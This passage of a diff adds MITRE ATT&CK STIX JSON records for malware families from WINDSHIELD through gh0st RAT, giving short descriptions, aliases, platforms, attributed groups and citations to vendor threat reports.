"external_id": "S0155", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0155" + }, + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "WINDSHIELD", + "x_mitre_aliases": [ + "WINDSHIELD" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WINERACK](https://attack.mitre.org/software/S0219) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", + "id": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "external_references": [ + { + "external_id": "S0219", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0219" + }, + { + "source_name": "WINERACK", + "description": "(Citation: FireEye APT37 Feb 2018)" + }, + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "WINERACK", + "x_mitre_aliases": [ + "WINERACK" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.(Citation: LogRhythm WannaCry)(Citation: US-CERT WannaCry 2017)(Citation: Washington Post WannaCry 2017)(Citation: FireEye WannaCry 2017)", + "id": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "external_references": [ + { + "external_id": "S0366", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0366" + }, + { + "source_name": "WanaCry", + "description": "(Citation: SecureWorks WannaCry Analysis)" + }, + { + "source_name": "WanaCrypt", + "description": "(Citation: SecureWorks WannaCry Analysis)" + }, + { + "source_name": "WanaCrypt0r", + "description": "(Citation: LogRhythm WannaCry)" + }, + { + "source_name": "WCry", + "description": "(Citation: LogRhythm WannaCry)(Citation: SecureWorks WannaCry Analysis)" + }, + { + "source_name": "LogRhythm WannaCry", + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + }, + { + "source_name": "US-CERT WannaCry 2017", + "description": "US-CERT. (2017, May 12). Alert (TA17-132A): Indicators Associated With WannaCry Ransomware. Retrieved March 25, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-132A" + }, + { + "source_name": "Washington Post WannaCry 2017", + "description": "Dwoskin, E. and Adam, K. (2017, May 14). More than 150 countries affected by massive cyberattack, Europol says. Retrieved March 25, 2019.", + "url": "https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html?utm_term=.7fa16b41cad4" + }, + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + }, + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-22T11:43:33.080Z", + "type": "malware", + "created": "2019-03-25T17:30:17.004Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "WannaCry", + "labels": [ + "malware" + ], + "x_mitre_aliases": [ + "WannaCry", + "WanaCry", + "WanaCrypt", + "WanaCrypt0r", + "WCry" + ], + "x_mitre_contributors": [ + "Jan Miller, CrowdStrike" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Wiarp](https://attack.mitre.org/software/S0206) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)", + "id": "malware--039814a0-88de-46c5-a4fb-b293db21880a", + "external_references": [ + { + "external_id": "S0206", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0206" + }, + { + "source_name": "Wiarp", + "description": "(Citation: Symantec Wiarp May 2012)" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "Symantec Wiarp May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Wiarp", + "x_mitre_aliases": [ + "Wiarp" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WinMM](https://attack.mitre.org/software/S0059) is a full-featured, simple backdoor used by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)", + "id": "malware--22addc7b-b39f-483d-979a-1b35147da5de", + "external_references": [ + { + "external_id": "S0059", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0059" + }, + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-05-03T16:45:45.143Z", + "type": "malware", + "created": "2017-05-31T21:32:40.004Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "WinMM", + "x_mitre_aliases": [ + "WinMM" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) is a backdoor that appears to be a version of commercial software [FinFisher](https://attack.mitre.org/software/S0182). It is reportedly used to attack individual computers instead of networks. It was used by [NEODYMIUM](https://attack.mitre.org/groups/G0055) in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)", + "id": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "external_references": [ + { + "external_id": "S0176", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0176" + }, + { + "source_name": "Wingbird", + "description": "(Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft Wingbird Nov 2017)" + }, + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + }, + { + "source_name": "Microsoft NEODYMIUM Dec 2016", + "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" + }, + { + "source_name": "Microsoft Wingbird Nov 2017", + "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.", + "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Wingbird", + "x_mitre_aliases": [ + "Wingbird" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Winnti](https://attack.mitre.org/software/S0141) is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, [Winnti Group](https://attack.mitre.org/groups/G0044); however, reporting indicates a second distinct group, [Axiom](https://attack.mitre.org/groups/G0001), also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015)", + "id": "malware--d3afa961-a80c-4043-9509-282cdf69ab21", + "external_references": [ + { + "external_id": "S0141", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0141" + }, + { + "source_name": "Kaspersky Winnti April 2013", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + }, + { + "source_name": "Microsoft Winnti Jan 2017", + "description": "Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/" + }, + { + "source_name": "Novetta Winnti April 2015", + "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.", + "url": "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:21.027Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Winnti", + "x_mitre_aliases": [ + "Winnti" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Wiper](https://attack.mitre.org/software/S0041) is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)", + "id": "malware--a19c49aa-36fe-4c05-b817-23e1c7a7d085", + "external_references": [ + { + "external_id": "S0041", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0041" + }, + { + "source_name": "Dell Wiper", + "description": "Dell SecureWorks. (2013, March 21). Wiper Malware Analysis Attacking Korean Financial Sector. Retrieved May 13, 2015.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:32.915Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Wiper", + "x_mitre_aliases": [ + "Wiper" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) is a trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be a port of their standard [CHOPSTICK](https://attack.mitre.org/software/S0023) or XAgent trojan. (Citation: XAgentOSX 2017)", + "id": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "external_references": [ + { + "external_id": "S0161", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0161" + }, + { + "source_name": "XAgentOSX", + "description": "(Citation: XAgentOSX 2017)" + }, + { + "source_name": "OSX.Sofacy", + "description": "(Citation: Symantec APT28 Oct 2018)" + }, + { + "source_name": "XAgentOSX 2017", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + }, + { + "source_name": "Symantec APT28 Oct 2018", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + } + ], + "x_mitre_version": "1.2", + "x_mitre_platforms": [ + "macOS" + ], + "modified": "2019-07-26T23:07:20.402Z", + "type": "malware", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "XAgentOSX", + "x_mitre_aliases": [ + "XAgentOSX", + "OSX.Sofacy" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XTunnel](https://attack.mitre.org/software/S0117) a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by [APT28](https://attack.mitre.org/groups/G0007) during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)", + "id": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "external_references": [ + { + "external_id": "S0117", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0117" + }, + { + "source_name": "XTunnel", + "description": "(Citation: ESET Sednit Part 2)" + }, + { + "source_name": "Trojan.Shunnael", + "description": "(Citation: Symantec APT28 Oct 2018)" + }, + { + "source_name": "X-Tunnel", + "description": "(Citation: Crowdstrike DNC June 2016)(Citation: Symantec APT28 Oct 2018)" + }, + { + "source_name": "XAPS", + "description": "(Citation: ESET Sednit Part 2)" + }, + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "source_name": "Invincea XTunnel", + "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.", + "url": "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "source_name": "Symantec APT28 Oct 2018", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + } + ], + "x_mitre_version": "2.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-19T18:36:31.731Z", + "type": "malware", + "created": "2017-05-31T21:33:09.453Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "XTunnel", + "x_mitre_aliases": [ + "XTunnel", + "Trojan.Shunnael", + "X-Tunnel", + "XAPS" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Xbash](https://attack.mitre.org/software/S0341) is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. [Xbash](https://attack.mitre.org/software/S0341) was developed in Python and then converted into a self-contained Linux ELF executable by using PyInstaller.(Citation: Unit42 Xbash Sept 2018)", + "id": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "external_references": [ + { + "external_id": "S0341", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0341" + }, + { + "source_name": "Xbash", + "description": "(Citation: Unit42 Xbash Sept 2018)" + }, + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "x_mitre_version": "1.1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-06-28T15:15:54.241Z", + "type": "malware", + "created": "2019-01-30T13:28:47.452Z", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "name": "Xbash", + "x_mitre_aliases": [ + "Xbash" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Yahoyah is a Trojan used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) as a second-stage backdoor.(Citation: TrendMicro TropicTrooper 2015)", + "id": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "external_references": [ + { + "external_id": "S0388", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0388" + }, + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-06-30T22:50:18.494Z", + "type": "malware", + "created": "2019-06-17T18:49:30.307Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "Yahoyah", + "labels": [ + "malware" + ], + "x_mitre_aliases": [ + "Yahoyah" + ], + "x_mitre_contributors": [ + "Bart Parys" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZLib](https://attack.mitre.org/software/S0086) is a full-featured backdoor that was used as a second-stage implant by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)", + "id": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "external_references": [ + { + "external_id": "S0086", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0086" + }, + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:56.394Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "ZLib", + "x_mitre_aliases": [ + "ZLib" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, and VB.NET. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)", + "id": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "external_references": [ + { + "external_id": "S0251", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0251" + }, + { + "source_name": "Zebrocy", + "description": "(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)" + }, + { + "source_name": "Zekapab", + "description": "(Citation: CyberScoop APT28 Nov 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)" + }, + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + }, + { + "source_name": "CyberScoop APT28 Nov 2018", + "description": "Shoorbajee, Z. (2018, November 29). Accenture: Russian hackers using Brexit talks to disguise phishing lures. Retrieved July 16, 2019.", + "url": "https://www.cyberscoop.com/apt28-brexit-phishing-accenture/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "x_mitre_version": "2.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-07-17T01:18:32.377Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Zebrocy", + "labels": [ + "malware" + ], + "x_mitre_aliases": [ + "Zebrocy", + "Zekapab" + ], + "x_mitre_contributors": [ + "Emily Ratliff, IBM" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) is a Trojan used by [TA459](https://attack.mitre.org/groups/G0062), often in conjunction with [PlugX](https://attack.mitre.org/software/S0013). (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)", + "id": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "external_references": [ + { + "external_id": "S0230", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0230" + }, + { + "source_name": "ZeroT", + "description": "(Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)" + }, + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + }, + { + "source_name": "Proofpoint ZeroT Feb 2017", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "ZeroT", + "x_mitre_aliases": [ + "ZeroT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)", + "id": "malware--552462b9-ae79-49dd-855c-5973014e157f", + "external_references": [ + { + "external_id": "S0027", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0027" + }, + { + "source_name": "Sophos ZeroAccess", + "description": "Wyke, J. (2012, April). ZeroAccess. Retrieved July 18, 2016.", + "url": "https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:20.949Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Zeroaccess", + "x_mitre_aliases": [ + "Zeroaccess", + "Trojan.Zeroaccess" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. [Zeus Panda](https://attack.mitre.org/software/S0330)\u2019s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)", + "id": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "external_references": [ + { + "external_id": "S0330", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0330" + }, + { + "source_name": "Zeus Panda", + "description": "(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)" + }, + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + }, + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-16T20:55:19.901Z", + "type": "malware", + "created": "2019-01-29T17:59:43.600Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "Zeus Panda", + "x_mitre_aliases": [ + "Zeus Panda" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[adbupd](https://attack.mitre.org/software/S0202) is a backdoor used by [PLATINUM](https://attack.mitre.org/groups/G0068) that is similar to [Dipsind](https://attack.mitre.org/software/S0200). (Citation: Microsoft PLATINUM April 2016)", + "id": "malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005", + "external_references": [ + { + "external_id": "S0202", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0202" + }, + { + "source_name": "adbupd", + "description": "(Citation: Microsoft PLATINUM April 2016)" + }, + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "adbupd", + "x_mitre_contributors": [ + "Ryan Becwar" + ], + "x_mitre_aliases": [ + "adbupd" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups. (Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)", + "id": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "external_references": [ + { + "external_id": "S0032", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0032" + }, + { + "source_name": "gh0st RAT", + 